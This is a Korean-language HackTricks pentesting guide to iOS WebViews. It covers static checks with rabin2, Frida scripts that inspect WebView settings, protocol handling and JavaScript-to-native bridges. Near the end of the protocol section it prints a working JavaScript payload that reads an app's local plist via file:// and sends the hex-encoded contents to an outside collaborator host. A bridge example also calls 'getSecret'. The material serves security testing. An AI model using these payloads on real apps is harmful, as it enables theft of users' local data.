mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-04 02:20:20 +00:00
291 lines
18 KiB
Markdown
291 lines
18 KiB
Markdown
# iOS 웹뷰
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
|
|
</details>
|
|
|
|
이 페이지의 코드는 [여기](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)에서 추출되었습니다. 자세한 내용은 해당 페이지를 확인하세요.
|
|
|
|
|
|
## 웹뷰 유형
|
|
|
|
웹뷰는 애플리케이션 내에서 웹 콘텐츠를 대화식으로 표시하는 데 사용됩니다. iOS 애플리케이션에는 다양한 유형의 웹뷰가 있으며 다른 기능과 보안 기능을 제공합니다. 간단한 개요는 다음과 같습니다:
|
|
|
|
- **UIWebView**는 iOS 12 이후에 권장되지 않으며 **JavaScript**를 비활성화할 수 없어 스크립트 주입 및 **Cross-Site Scripting (XSS)** 공격에 취약합니다.
|
|
|
|
- **WKWebView**는 앱에 웹 콘텐츠를 통합하는 우선적인 옵션으로, 콘텐츠와 보안 기능에 대한 향상된 제어를 제공합니다. **JavaScript**는 기본적으로 활성화되어 있지만 필요한 경우 비활성화할 수 있습니다. 또한 자바스크립트가 자동으로 창을 열지 않도록하는 기능을 지원하며 모든 콘텐츠가 안전하게 로드되도록 보장합니다. 또한 **WKWebView**의 아키텍처는 주요 앱 프로세스에 영향을 미치는 메모리 손상 위험을 최소화합니다.
|
|
|
|
- **SFSafariViewController**는 앱 내에서 표준화된 웹 브라우징 경험을 제공하며, 읽기 전용 주소 필드, 공유 및 탐색 버튼, Safari에서 콘텐츠를 열기 위한 직접 링크를 포함한 특정 레이아웃으로 인식됩니다. **WKWebView**와 달리 **SFSafariViewController**에서는 **JavaScript**를 비활성화할 수 없으며, 앱과 Safari가 쿠키와 데이터를 공유하여 사용자의 개인 정보를 유지합니다. App Store 가이드라인에 따라 눈에 잘 띄게 표시되어야 합니다.
|
|
```javascript
|
|
// Example of disabling JavaScript in WKWebView:
|
|
WKPreferences *preferences = [[WKPreferences alloc] init];
|
|
preferences.javaScriptEnabled = NO;
|
|
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
|
config.preferences = preferences;
|
|
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
|
```
|
|
## 웹뷰 구성 탐색 요약
|
|
|
|
### **정적 분석 개요**
|
|
|
|
**웹뷰** 구성을 조사하는 과정에서 두 가지 주요 유형인 **UIWebView**와 **WKWebView**에 초점을 맞추고 있습니다. 바이너리 내에서 이러한 웹뷰를 식별하기 위해 특정 클래스 참조와 초기화 메서드를 검색하는 명령을 사용합니다.
|
|
|
|
- **UIWebView 식별**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
|
```
|
|
이 명령은 이진 파일에서 관련된 텍스트 문자열을 검색하여 **UIWebView**의 인스턴스를 찾는 데 도움이 됩니다.
|
|
|
|
- **WKWebView 식별**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
|
```
|
|
마찬가지로, **WKWebView**에 대해서는 이 명령어가 해당 사용법을 나타내는 텍스트 문자열을 바이너리에서 검색합니다.
|
|
|
|
또한, **WKWebView**가 어떻게 초기화되는지 찾기 위해 다음 명령어가 실행되며, 초기화와 관련된 메서드 시그니처를 대상으로 합니다:
|
|
```bash
|
|
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
|
```
|
|
#### **JavaScript 구성 확인**
|
|
|
|
**WKWebView**의 경우, 필요하지 않은 경우 JavaScript를 비활성화하는 것이 좋은 방법이라고 강조되고 있습니다. 컴파일된 이진 파일을 검색하여 `javaScriptEnabled` 속성이 `false`로 설정되어 JavaScript가 비활성화되었는지 확인합니다.
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
|
```
|
|
#### **Only Secure Content Verification (보안 콘텐츠 확인)**
|
|
|
|
**WKWebView**는 **UIWebView**와는 달리 혼합된 콘텐츠 문제를 식별하는 기능을 제공합니다. 이는 `hasOnlySecureContent` 속성을 사용하여 모든 페이지 리소스가 안전한 연결을 통해 로드되었는지 확인합니다. 컴파일된 이진 파일에서의 검색은 다음과 같이 수행됩니다:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
|
```
|
|
### **동적 분석 통찰력**
|
|
|
|
동적 분석은 WebView 인스턴스와 해당 속성을 검사하는 것을 의미합니다. `webviews_inspector.js`라는 스크립트를 사용하여 `UIWebView`, `WKWebView` 및 `SFSafariViewController` 인스턴스를 대상으로 합니다. 이 스크립트는 URL 및 JavaScript 및 보안 콘텐츠와 관련된 설정과 함께 찾은 인스턴스에 대한 정보를 기록합니다.
|
|
|
|
힙 검사는 `ObjC.choose()`를 사용하여 WebView 인스턴스를 식별하고 `javaScriptEnabled` 및 `hasonlysecurecontent` 속성을 확인할 수 있습니다.
|
|
|
|
{% code title="webviews_inspector.js" %}
|
|
```javascript
|
|
ObjC.choose(ObjC.classes['UIWebView'], {
|
|
onMatch: function (ui) {
|
|
console.log('onMatch: ', ui);
|
|
console.log('URL: ', ui.request().toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for UIWebView!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('URL: ', wk.URL().toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for WKWebView!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['SFSafariViewController'], {
|
|
onMatch: function (sf) {
|
|
console.log('onMatch: ', sf);
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for SFSafariViewController!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|
}
|
|
});
|
|
```
|
|
{% endcode %}
|
|
|
|
다음과 같이 스크립트가 실행됩니다:
|
|
```bash
|
|
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
|
```
|
|
**주요 결과**:
|
|
- WebView의 인스턴스를 성공적으로 찾고 검사합니다.
|
|
- JavaScript 활성화 및 안전한 콘텐츠 설정을 확인합니다.
|
|
|
|
이 요약은 WebView 구성을 정적 및 동적 접근 방식을 통해 분석하는 데 관련된 중요한 단계와 명령을 요약한 것으로, JavaScript 활성화 및 혼합 콘텐츠 감지와 같은 보안 기능에 초점을 맞추고 있습니다.
|
|
|
|
## WebView 프로토콜 처리
|
|
|
|
WebView에서 콘텐츠를 처리하는 것은 특히 `http(s)://`, `file://`, `tel://`와 같은 다양한 프로토콜을 다룰 때 중요한 측면입니다. 이러한 프로토콜은 앱 내에서 원격 및 로컬 콘텐츠를 로드할 수 있게 합니다. 로컬 콘텐츠를 로드할 때는 사용자가 파일 이름이나 경로를 조작하거나 콘텐츠 자체를 편집하는 것을 방지하기 위해 주의가 필요합니다.
|
|
|
|
**WebViews**는 콘텐츠 로딩을 위해 다양한 메서드를 제공합니다. **UIWebView**는 현재 사용이 중단된 상태이지만, `loadHTMLString:baseURL:` 및 `loadData:MIMEType:textEncodingName:baseURL:`과 같은 메서드를 사용합니다. 반면 **WKWebView**는 웹 콘텐츠를 위해 `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` 및 `loadRequest:`를 사용합니다. 로컬 파일을 로드하기 위해 일반적으로 `pathForResource:ofType:`, `URLForResource:withExtension:`, `init(contentsOf:encoding:)`과 같은 메서드를 사용합니다. 특히 `loadFileURL:allowingReadAccessToURL:` 메서드는 WebView에 특정 URL이나 디렉토리를 로드할 수 있으며, 디렉토리가 지정된 경우 민감한 데이터가 노출될 수 있습니다.
|
|
|
|
이러한 메서드를 소스 코드나 컴파일된 이진 파일에서 찾으려면 다음과 같은 명령을 사용할 수 있습니다:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
|
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
|
```
|
|
**파일 액세스**에 관해서, UIWebView는 일반적으로 허용하지만, WKWebView는 기본적으로 `allowFileAccessFromFileURLs`와 `allowUniversalAccessFromFileURLs` 설정을 도입하여 파일 URL로부터의 액세스를 관리합니다. 두 설정 모두 기본적으로 false로 설정되어 있습니다.
|
|
|
|
보안 설정을 위해 **WKWebView** 구성을 검사하는 Frida 스크립트 예제가 제공됩니다:
|
|
```bash
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('URL: ', wk.URL().toString());
|
|
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
|
console.log('allowFileAccessFromFileURLs: ',
|
|
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|
console.log('allowUniversalAccessFromFileURLs: ',
|
|
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for WKWebView!');
|
|
}
|
|
});
|
|
```
|
|
마지막으로, 로컬 파일을 유출하기 위한 JavaScript 페이로드의 예는 잘못 구성된 WebView와 관련된 잠재적인 보안 위험을 보여줍니다. 이 페이로드는 파일 내용을 16진수 형식으로 인코딩한 후 서버로 전송합니다. 이는 WebView 구현에서 엄격한 보안 조치의 중요성을 강조합니다.
|
|
```javascript
|
|
String.prototype.hexEncode = function(){
|
|
var hex, i;
|
|
var result = "";
|
|
for (i=0; i<this.length; i++) {
|
|
hex = this.charCodeAt(i).toString(16);
|
|
result += ("000"+hex).slice(-4);
|
|
}
|
|
return result
|
|
}
|
|
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.onreadystatechange = function() {
|
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
|
var xhr2 = new XMLHttpRequest();
|
|
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
|
xhr2.send(null);
|
|
}
|
|
}
|
|
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
|
xhr.send(null);
|
|
```
|
|
## 웹뷰를 통해 노출된 네이티브 메서드
|
|
|
|
## iOS에서 웹뷰 네이티브 인터페이스 이해하기
|
|
|
|
iOS 7부터 Apple은 **웹뷰 내의 JavaScript와 네이티브** Swift 또는 Objective-C 객체 간의 통신을 위한 API를 제공했습니다. 이 통합은 주로 두 가지 방법을 통해 이루어집니다:
|
|
|
|
- **JSContext**: Swift 또는 Objective-C 블록이 `JSContext` 내의 식별자에 연결될 때 자동으로 JavaScript 함수가 생성됩니다. 이를 통해 JavaScript와 네이티브 코드 간의 원활한 통합과 통신이 가능해집니다.
|
|
- **JSExport 프로토콜**: `JSExport` 프로토콜을 상속함으로써 네이티브 속성, 인스턴스 메서드 및 클래스 메서드를 JavaScript에 노출시킬 수 있습니다. 이는 JavaScript 환경에서 수행된 변경 사항이 네이티브 환경에 반영되고 그 반대도 가능함을 의미합니다. 그러나 이 방법을 통해 민감한 데이터가 무심코 노출되지 않도록 주의해야 합니다.
|
|
|
|
### Objective-C에서 `JSContext`에 접근하기
|
|
|
|
Objective-C에서 `UIWebView`의 `JSContext`는 다음 코드로 검색할 수 있습니다:
|
|
```objc
|
|
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
|
```
|
|
### `WKWebView`과의 통신
|
|
|
|
`WKWebView`에서는 `JSContext`에 직접적인 접근이 불가능합니다. 대신, `postMessage` 함수를 통해 메시지 전달이 이루어지며, 이를 통해 JavaScript와 네이티브 간의 통신이 가능해집니다. 이러한 메시지에 대한 핸들러는 다음과 같이 설정되며, 이를 통해 JavaScript가 네이티브 애플리케이션과 안전하게 상호작용할 수 있습니다:
|
|
```swift
|
|
func enableJavaScriptBridge(_ enabled: Bool) {
|
|
options_dict["javaScriptBridge"]?.value = enabled
|
|
let userContentController = wkWebViewConfiguration.userContentController
|
|
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
|
|
|
if enabled {
|
|
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
|
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
|
}
|
|
}
|
|
```
|
|
### 상호작용 및 테스트
|
|
|
|
JavaScript는 스크립트 메시지 핸들러를 정의함으로써 네이티브 레이어와 상호작용할 수 있습니다. 이를 통해 웹페이지에서 네이티브 함수를 호출하는 등의 작업이 가능합니다:
|
|
```javascript
|
|
function invokeNativeOperation() {
|
|
value1 = document.getElementById("value1").value
|
|
value2 = document.getElementById("value2").value
|
|
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
|
|
}
|
|
|
|
// Alternative method for calling exposed JavaScript functions
|
|
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
|
```
|
|
네이티브 함수 호출의 결과를 캡처하고 조작하기 위해 HTML 내에서 콜백 함수를 재정의할 수 있습니다:
|
|
```html
|
|
<html>
|
|
<script>
|
|
document.location = "javascriptbridge://getSecret"
|
|
function javascriptBridgeCallBack(name, result) {
|
|
alert(result);
|
|
}
|
|
</script>
|
|
</html>
|
|
```
|
|
네이티브 측면에서는 `JavaScriptBridgeMessageHandler` 클래스에서 JavaScript 호출을 처리합니다. 여기서 숫자를 곱하는 등의 작업 결과가 처리되고 JavaScript로 다시 전송되어 표시되거나 추가 조작을 위해 사용됩니다.
|
|
```swift
|
|
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
|
// Handling "multiplyNumbers" operation
|
|
case "multiplyNumbers":
|
|
let arg1 = Double(messageArray[1])!
|
|
let arg2 = Double(messageArray[2])!
|
|
result = String(arg1 * arg2)
|
|
// Callback to JavaScript
|
|
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
|
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
|
}
|
|
```
|
|
## iOS WebViews 디버깅
|
|
|
|
([https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)의 튜토리얼을 기반으로 한 자습서)
|
|
|
|
iOS 웹뷰 내에서 웹 콘텐츠를 효과적으로 디버깅하기 위해서는 `console.log()`로 보낸 메시지가 Xcode 로그에 표시되지 않기 때문에 Safari의 개발자 도구를 사용하는 특정 설정이 필요합니다. 다음은 주요 단계와 요구 사항을 강조한 간소화된 가이드입니다.
|
|
|
|
- **iOS 기기에서의 준비**: iOS 기기에서 Safari 웹 인스펙터를 활성화해야 합니다. 이를 위해 **설정 > Safari > 고급**으로 이동하여 _웹 인스펙터_를 활성화합니다.
|
|
|
|
- **macOS 기기에서의 준비**: macOS 개발 기기에서 Safari 내에서 개발자 도구를 활성화해야 합니다. Safari를 실행하고 **Safari > 기본 설정 > 고급**에 액세스하여 _개발자 메뉴 표시_ 옵션을 선택합니다.
|
|
|
|
- **연결 및 디버깅**: iOS 기기를 macOS 컴퓨터에 연결하고 애플리케이션을 실행한 후, macOS 기기의 Safari를 사용하여 디버깅하려는 웹뷰를 선택합니다. Safari의 메뉴 바에서 _개발_로 이동하고, iOS 기기의 이름 위로 마우스를 올려 웹뷰 인스턴스 목록을 확인한 후, 검사하려는 인스턴스를 선택합니다. 이를 위해 새로운 Safari 웹 인스펙터 창이 열립니다.
|
|
|
|
그러나 제한 사항을 염두에 두세요:
|
|
|
|
- 이 방법으로 디버깅하려면 macOS 기기가 필요하며, Safari에 의존합니다.
|
|
- Xcode를 통해 기기에 로드된 애플리케이션의 웹뷰만 디버깅할 수 있습니다. App Store나 Apple Configurator를 통해 설치된 앱의 웹뷰는 이 방법으로 디버깅할 수 없습니다.
|
|
|
|
|
|
## 참고 자료
|
|
|
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
|
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
|
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
|
|
</details>
|